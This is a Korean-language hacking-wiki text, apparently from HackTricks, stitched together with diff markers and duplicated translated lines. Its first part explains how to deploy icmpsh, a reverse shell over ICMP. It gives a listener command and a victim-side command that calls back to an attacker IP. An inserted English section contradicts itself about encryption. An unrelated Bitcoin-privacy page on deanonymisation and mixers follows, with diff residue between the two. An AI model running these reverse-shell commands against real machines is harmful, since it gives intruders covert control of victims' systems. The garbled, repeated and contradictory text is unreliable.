<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요: [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)에서 백도어를 다운로드하세요.
|
||||
백도어를 다운로드하세요: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# 클라이언트 측
|
||||
|
||||
스크립트를 실행하세요: **run.sh**
|
||||
|
||||
**오류가 발생하면 다음 줄을 변경해보세요:**
|
||||
**에러가 발생하면 다음 라인을 변경해보세요:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
# ICMP Shell (icmpsh)
|
||||
|
||||
## Description
|
||||
|
||||
ICMP Shell (icmpsh) is a simple reverse ICMP shell that uses ICMP echo requests to establish a command shell on a target machine. It is a part of the [icmpsh](https://github.com/inquisb/icmpsh) project.
|
||||
|
||||
## Features
|
||||
|
||||
- Stealthy communication: ICMP echo requests are commonly allowed through firewalls and are less likely to be detected.
|
||||
- Reverse shell: Allows an attacker to execute commands on the target machine.
|
||||
- Encrypted communication: ICMP payload is encrypted using AES-128-CBC.
|
||||
- Cross-platform: Works on Windows, Linux, and macOS.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Start the listener on the attacker machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -l -v -d
|
||||
```
|
||||
|
||||
2. Execute the client on the target machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -t <attacker_ip> -d
|
||||
```
|
||||
|
||||
3. Once the connection is established, the attacker can execute commands on the target machine.
|
||||
|
||||
## Limitations
|
||||
|
||||
- Requires administrative privileges on the target machine.
|
||||
- ICMP echo requests may be blocked by some firewalls or network configurations.
|
||||
- The communication is not encrypted by default, but can be enabled using the `-e` option.
|
||||
|
||||
## Detection
|
||||
|
||||
- Monitor network traffic for ICMP echo requests to identify potential ICMP shell activity.
|
||||
- Use intrusion detection systems (IDS) or network monitoring tools to detect suspicious ICMP traffic.
|
||||
- Regularly update firewall rules to block ICMP echo requests if not required.
|
||||
|
||||
## References
|
||||
|
||||
- [icmpsh - GitHub](https://github.com/inquisb/icmpsh)
|
||||
**대상:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **피해자 측**
|
||||
|
||||
피해자에게 **icmpsh.exe**를 업로드하고 실행하세요:
|
||||
**icmpsh.exe**를 피해자에게 업로드하고 실행하십시오:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,206 +1,175 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 기본 개념
|
||||
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개인 없이 합의 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 갖추고 있습니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스에 대한 액세스를 부여하며, **보안 토큰**은 자산 소유를 나타냅니다.
|
||||
- **DeFi**는 중앙 관리 기관 없이 금융 서비스를 제공하는 것을 의미합니다.
|
||||
- **DEX**와 **DAO**는 각각 탈중앙화된 거래소 플랫폼과 탈중앙화된 자율 조직을 나타냅니다.
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로 중개없이 합의 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 제공합니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 작용하는 반면 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스 접근을 허용하며 **보안 토큰**은 자산 소유를 나타냅니다.
|
||||
- **DeFi**는 중앙 당국 없이 금융 서비스를 제공하는 Decentralized Finance의 약자입니다.
|
||||
- **DEX** 및 **DAO**는 각각 탈중앙화 거래소 플랫폼과 탈중앙화 자율 조직을 가리킵니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 트랜잭션 검증을 보장합니다:
|
||||
- **작업 증명 (PoW)**은 트랜잭션 검증을 위해 계산 능력을 의존합니다.
|
||||
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 유효성을 보장합니다:
|
||||
- **작업 증명 (PoW)**은 거래 확인을 위해 계산 능력을 사용합니다.
|
||||
- **지분 증명 (PoS)**은 유효성 검사자가 일정량의 토큰을 보유해야 하며 PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 기본 사항
|
||||
|
||||
### 트랜잭션
|
||||
### 거래
|
||||
|
||||
비트코인 트랜잭션은 주소 간 자금 이전을 포함합니다. 트랜잭션은 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 이체를 시작할 수 있도록 보장합니다.
|
||||
비트코인 거래는 주소 간 자금 이체를 포함합니다. 거래는 디지턀 서명을 통해 유효화되며 개인 키 소유자만 이체를 시작할 수 있습니다.
|
||||
|
||||
#### 주요 구성 요소:
|
||||
|
||||
- **다중 서명 트랜잭션**은 트랜잭션을 승인하기 위해 여러 개의 서명이 필요합니다.
|
||||
- 트랜잭션은 **입력** (자금의 출처), **출력** (목적지), **수수료** (마이너에게 지불) 및 **스크립트** (트랜잭션 규칙)로 구성됩니다.
|
||||
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력** (자금 출처), **출력** (목적지), **수수료** (마이너에게 지불), 및 **스크립트** (거래 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
|
||||
라이트닝 네트워크는 채널 내에서 여러 트랜잭션을 허용하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다. 최종 상태만 블록체인에 브로드캐스트됩니다.
|
||||
여러 거래를 채널 내에서 수행하고 최종 상태만 블록체인에 브로드캐스트하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다.
|
||||
|
||||
## 비트코인 개인 정보 보호 우려 사항
|
||||
## 비트코인 개인 정보 보호 우려
|
||||
|
||||
**공통 입력 소유** 및 **UTXO 변경 주소 감지**와 같은 개인 정보 보호 공격은 트랜잭션 패턴을 이용합니다. **믹서**와 **CoinJoin**과 같은 전략은 사용자 간의 트랜잭션 링크를 모호하게 만들어 익명성을 향상시킵니다.
|
||||
**공통 입력 소유 가정** 및 **UTXO 변경 주소 감지**와 같은 개인 정보 공격은 거래 패턴을 악용합니다. **믹서** 및 **CoinJoin**과 같은 전략은 사용자 간 거래 링크를 숨겨 개인 정보 보호를 향상시킵니다.
|
||||
|
||||
## 익명으로 비트코인 획득하기
|
||||
## 익명으로 비트코인 획득
|
||||
|
||||
현금 거래, 채굴 및 믹서 사용 등의 방법이 있습니다. **CoinJoin**은 여러 트랜잭션을 혼합하여 추적을 복잡하게 만들고, **PayJoin**은 일반적인 트랜잭션으로 CoinJoin을 위장하여 더 높은 개인 정보 보호를 제공합니다.
|
||||
현금 거래, 채굴, 및 믹서 사용이 포함됩니다. **CoinJoin**은 여러 거래를 혼합하여 추적을 복잡하게 하며 **PayJoin**은 더 높은 개인 정보 보호를 위해 CoinJoin을 일반 거래처럼 위장합니다.
|
||||
|
||||
|
||||
# 비트코인 개인 정보 보호 공격
|
||||
|
||||
# 비트코인 개인 정보 보호 공격 요약
|
||||
|
||||
비트코인의 세계에서 트랜잭션의 개인 정보 보호와 사용자의 익명성은 종종 우려의 대상입니다. 여기에는 공격자가 비트코인 개인 정보를 침해할 수 있는 여러 일반적인 방법에 대한 단순화된 개요가 있습니다.
|
||||
비트코인 세계에서 거래의 개인 정보 보호와 사용자의 익명성은 종종 우려의 대상입니다. 여기에는 공격자가 비트코인 개인 정보를 침해할 수 있는 여러 일반적인 방법에 대한 간소화된 개요가 포함되어 있습니다.
|
||||
|
||||
## **공통 입력 소유 가정**
|
||||
|
||||
일반적으로 서로 다른 사용자의 입력이 하나의 트랜잭션에 결합되는 것은 드물기 때문에 복잡성 때문에 **동일한 소유자에게 속하는 것으로 가정되는 두 개의 입력 주소**입니다.
|
||||
일반적으로 서로 다른 사용자의 입력이 하나의 거래에서 결합되는 것은 복잡성 때문에 드물기 때문에 **동일한 소유자에게 속한 것으로 가정되는 경우가 많습니다**.
|
||||
|
||||
## **UTXO 변경 주소 감지**
|
||||
|
||||
UTXO 또는 **사용되지 않은 트랜잭션 출력**은 트랜잭션에서 완전히 소비되어야 합니다. 일부만 다른 주소로 보내는 경우 나머지는 새로운 변경 주소로 이동합니다. 관찰자는 이 새 주소가 송신자에게 속한다고 가정하여 개인 정보를 침해할 수 있습니다.
|
||||
UTXO 또는 **사용되지 않은 거래 출력**은 거래에서 완전히 사용되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 이동합니다. 관찰자는 이 새 주소가 송신자에게 속한다고 가정하여 개인 정보를 침해할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
이를 완화하기 위해 믹싱 서비스를 사용하거나 여러 주소를 사용하여 소유권을 모호하게 할 수 있습니다.
|
||||
이를 완화하기 위해 믹싱 서비스 또는 여러 주소 사용이 소유권을 숨기는 데 도움이 될 수 있습니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
|
||||
사용자들은 때로는 비트코인 주소를 온라인으로 공유하여 해당 주소를 소유자와 연결하기 쉽게 만듭니다.
|
||||
사용자는 때로 온라인에서 비트코인 주소를 공유하여 해당 주소를 소유자에게 링크하는 것이 **쉽습니다**.
|
||||
|
||||
## **트랜잭션 그래프 분석**
|
||||
## **거래 그래프 분석**
|
||||
|
||||
트랜잭션은 그래프로 시각화될 수 있으며, 자금의 흐름을 기반으로 사용자 간의 잠재적인 연결을 보여줍니다.
|
||||
거래는 그래프로 시각화될 수 있으며 자금의 흐름을 기반으로 사용자 간의 잠재적 연결을 보여줍니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱 (최적의 변경 휴리스틱)**
|
||||
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 트랜잭션을 분석하여 송신자에게 반환되는 변경 출력이 어떤 것인지 추측하는 것에 기반합니다.
|
||||
|
||||
### 예시
|
||||
이 휴리스틱은 여러 입력과 출력을 갖는 거래를 분석하여 변경이 송신자에게 반환되는 것을 추측합니다.
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
## **강제 주소 재사용**
|
||||
|
||||
공격자는 이전에 사용한 주소로 작은 금액을 보내어 수신자가 이를 다른 입력과 결합하여 향후 거래에서 주소를 연결하도록 하는 것을 희망합니다.
|
||||
공격자는 이전에 사용된 주소로 소액을 송금하여 수신자가 이를 향후 거래에서 다른 입력과 결합하도록 하여 주소를 연결하는 것을 희망할 수 있습니다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
이 개인 정보 누출을 방지하기 위해 지갑은 이미 사용한 빈 주소에서 받은 코인을 사용하지 않아야 합니다.
|
||||
개인 정보 누출을 방지하기 위해 지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 합니다.
|
||||
|
||||
## **기타 블록체인 분석 기법**
|
||||
## **기타 블록체인 분석 기술**
|
||||
|
||||
- **정확한 지불 금액:** 거스름돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
|
||||
- **둥근 숫자:** 거래에서 둥근 숫자는 지불을 나타내며, 둥근이 아닌 출력은 거스름돈일 가능성이 높습니다.
|
||||
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있으므로, 분석가는 사용된 소프트웨어와 변경 주소를 식별할 수 있습니다.
|
||||
- **정확한 지불 금액:** 거스름돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간에 이루어졌을 가능성이 높습니다.
|
||||
- **둥근 숫자:** 거래에서 둥근 숫자는 지불을 나타내며, 비둥근 출력은 거스름돈일 가능성이 높습니다.
|
||||
- **지갑 지문:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 거스름돈 주소를 식별할 수 있습니다.
|
||||
- **금액 및 시간 상관 관계:** 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.
|
||||
|
||||
## **트래픽 분석**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소와 연결하여 사용자의 개인 정보를 침해할 수 있습니다. 특히 한 개체가 많은 비트코인 노드를 운영하는 경우, 거래를 모니터링하는 능력이 향상됩니다.
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 IP 주소를 통해 거래나 블록을 연결할 수 있어 사용자의 개인 정보를 침해할 수 있습니다. 특히 한 엔티티가 많은 비트코인 노드를 운영하는 경우, 거래를 모니터링하는 능력이 향상됩니다.
|
||||
|
||||
## 더 알아보기
|
||||
개인 정보 공격과 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 참조하십시오.
|
||||
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [비트코인 위키의 비트코인 개인 정보](https://en.bitcoin.it/wiki/Privacy)를 방문하십시오.
|
||||
|
||||
|
||||
# 익명의 비트코인 거래
|
||||
# 익명 비트코인 거래
|
||||
|
||||
## 익명으로 비트코인을 얻는 방법
|
||||
## 익명으로 비트코인 획득하는 방법
|
||||
|
||||
- **현금 거래**: 현금으로 비트코인을 얻는 방법.
|
||||
- **현금 대체 수단**: 상품권을 구매하고 온라인에서 비트코인으로 교환하는 방법.
|
||||
- **마이닝**: 비트코인을 얻는 가장 개인적인 방법은 마이닝을 통해 얻는 것입니다. 특히 개인적으로 마이닝을 할 경우, 마이닝 풀은 마이너의 IP 주소를 알 수 있을 수 있습니다. [마이닝 풀 정보](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔칠 수도 있지만, 이는 불법이며 권장되지 않습니다.
|
||||
- **현금 거래**: 현금으로 비트코인을 획득하는 것.
|
||||
- **현금 대체 수단**: 상품권을 구매하고 온라인에서 비트코인으로 교환하는 것.
|
||||
- **채굴**: 비트코인을 획득하는 가장 개인 정보 보호 수준이 높은 방법은 채굴을 통해 하는 것이며, 특히 혼자 하는 경우에는 채굴 풀이 채굴자의 IP 주소를 알 수 있을 수 있습니다. [채굴 풀 정보](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔치는 것이 익명으로 획득하는 또 다른 방법일 수 있지만, 불법이며 권장되지 않습니다.
|
||||
|
||||
## 혼합 서비스
|
||||
|
||||
혼합 서비스를 사용하면 사용자는 **비트코인을 보내고 다른 비트코인을 받아** 원래 소유자를 추적하기 어렵게 만들 수 있습니다. 그러나 이를 위해서는 서비스가 로그를 유지하지 않고 실제로 비트코인을 반환하지 않을 것을 신뢰해야 합니다. 대체로 혼합 옵션으로는 비트코인 카지노가 있습니다.
|
||||
혼합 서비스를 사용하면 사용자는 **비트코인을 보내고** 다른 **비트코인을 반환** 받아 원래 소유자를 추적하기 어렵게 만들 수 있습니다. 그러나 이를 위해서는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환하는 것에 대한 신뢰가 필요합니다. 대체 혼합 옵션으로는 비트코인 카지노가 있습니다.
|
||||
|
||||
## CoinJoin
|
||||
## 코인조인
|
||||
|
||||
**CoinJoin**은 여러 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 매칭하려는 노력을 어렵게 만듭니다. 그러나 고유한 입력과 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
**코인조인**은 여러 사용자의 다양한 거래를 하나로 병합하여 입력과 출력을 매칭하려는 누군가의 과정을 복잡하게 만듭니다. 그러나 고유한 입력과 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
|
||||
CoinJoin을 사용한 예시 거래로는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있습니다.
|
||||
코인조인을 사용한 예시 거래에는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있습니다.
|
||||
|
||||
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 참조하십시오. Ethereum에서 비슷한 서비스인 [Tornado Cash](https://tornado.cash)는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
더 많은 정보는 [코인조인](https://coinjoin.io/en)을 방문하십시오. 이더리움에서 유사한 서비스를 찾으려면 [토네이도 캐시](https://tornado.cash)를 확인하십시오. 이 서비스는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
|
||||
## PayJoin
|
||||
## 페이조인
|
||||
|
||||
CoinJoin의 변형인 **PayJoin** (또는 P2EP)은 두 당사자 (예: 고객과 상인) 간의 거래를 일반적인 거래로 위장시키며, CoinJoin의 특징인 동일한 출력이 없습니다. 이로써 일반적인 입력 소유성 휴리스틱을 감지하기가 매우 어려워지며, 거래 감시 엔티티가 사용하는 휴리스틱을 무효화할 수 있습니다.
|
||||
코인조인의 변형인 **페이조인** (또는 P2EP)은 두 당사자(예: 고객 및 상인) 사이의 거래를 일반 거래로 위장시키며, 코인조인의 특징적인 동일한 출력을 갖지 않아 감지하기 매우 어렵고 거래 감시 엔티티가 사용하는 공통 입력 소유 추론을 무효화할 수 있습니다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
위의 거래와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별할 수 없는 상태로 개인 정보 보호를 향상시킬 수 있습니다.
|
||||
## **암호화폐에서 개인 정보 보호를 위한 최상의 실천 방법**
|
||||
|
||||
**PayJoin의 활용은 전통적인 감시 방법을 크게 방해할 수 있으며**, 거래 개인 정보 보호의 추구에서 유망한 발전입니다.
|
||||
### **지갑 동기화 기술**
|
||||
|
||||
개인 정보 보호와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 주요 방법이 있습니다:
|
||||
|
||||
# 암호화폐에서 개인 정보 보호를 위한 최상의 실천 방법
|
||||
- **풀 노드**: 전체 블록체인을 다운로드하여 최대한의 개인 정보 보호를 보장합니다. 사용자가 관심을 가지는 거래나 주소를 식별하는 것을 불가능하게 합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 관련 거래를 식별할 수 있게 합니다. 가벼운 지갑은 이러한 필터를 다운로드하며 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
|
||||
## **지갑 동기화 기술**
|
||||
### **익명성을 위한 Tor 활용**
|
||||
|
||||
개인 정보 보호와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 돋보입니다:
|
||||
비트코인이 피어 투 피어 네트워크에서 작동하기 때문에 Tor를 사용하여 IP 주소를 숨기는 것이 권장됩니다. 네트워크와 상호 작용할 때 개인 정보 보호를 강화할 수 있습니다.
|
||||
|
||||
- **풀 노드**: 전체 블록체인을 다운로드하여 풀 노드는 최대한의 개인 정보 보호를 보장합니다. 모든 거래 내역이 로컬에 저장되어 있으므로, 상대방이 사용자가 관심을 가지고 있는 거래나 주소를 식별하는 것은 불가능합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고도 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하며, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
### **주소 재사용 방지**
|
||||
|
||||
## **익명성을 위한 Tor의 활용**
|
||||
개인 정보 보호를 보호하기 위해 매 거래마다 새 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 엔터티에 연결되어 개인 정보 보호가 손상될 수 있습니다. 현대적인 지갑은 주소 재사용을 방지하기 위한 설계를 통해 사용자를 격려합니다.
|
||||
|
||||
비트코인이 P2P 네트워크에서 작동하기 때문에, 네트워크와 상호 작용할 때 IP 주소를 가리기 위해 Tor를 사용하는 것이 좋습니다.
|
||||
### **거래 개인 정보 보호를 위한 전략**
|
||||
|
||||
## **주소 재사용 방지**
|
||||
- **여러 거래**: 지불을 여러 거래로 분할하면 거래 금액을 숨기는 데 도움이 됩니다.
|
||||
- **거스름돈 회피**: 거스름돈이 필요 없는 거래를 선택하면 거스름돈 감지 방법을 방해하여 개인 정보 보호를 강화할 수 있습니다.
|
||||
- **여러 거스름돈 출력**: 거스름돈 회피가 불가능한 경우 여러 거스름돈 출력을 생성하면 여전히 개인 정보 보호가 향상될 수 있습니다.
|
||||
|
||||
개인 정보 보호를 보호하기 위해 각 거래에 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래를 동일한 개체에 연결하여 개인 정보 보호를 침해할 수 있습니다. 현대적인 지갑은 주소 재사용을 방지하기 위한 디자인을 채택하고 있습니다.
|
||||
# **모네로: 익명성의 상징**
|
||||
|
||||
## **거래 개인 정보 보호를 위한 전략**
|
||||
디지털 거래에서 절대적인 익명성의 필요를 다루는 모네로는 개인 정보 보호에 높은 기준을 설정합니다.
|
||||
|
||||
- **여러 거래**: 지불을 여러 거래로 분할하면 거래 금액을 모호하게 만들어 개인 정보 보호 공격을 방지할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈 출력이 필요하지 않은 거래를 선택함으로써 거스름돈 감지 방법을 방해하여 개인 정보 보호를 향상시킵니다.
|
||||
- **여러 거스름돈 출력**: 거스름돈 회피가 불가능한 경우에도 여러 거스름돈 출력을 생성함으로써 여전히 개인 정보 보호를 개선할 수 있습니다.
|
||||
# **이더리움: 가스와 거래**
|
||||
|
||||
# **Monero: 익명성의 상징**
|
||||
### **가스 이해**
|
||||
|
||||
Monero는 디지털 거래에서 절대적인 익명성의 필요성을 해결하며, 개인 정보 보호에 대한 높은 기준을 제시합니다.
|
||||
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며 **gwei**로 가격이 매겨집니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)가 드는 거래에는 가스 한도와 기본 수수료, 채굴자를 동기화하기 위한 팁이 포함됩니다. 사용자는 과다 지불을 방지하기 위해 최대 수수료를 설정하고 초과분은 환불됩니다.
|
||||
|
||||
# **Ethereum: 가스와 거래**
|
||||
### **거래 실행**
|
||||
|
||||
## **가스 이해**
|
||||
|
||||
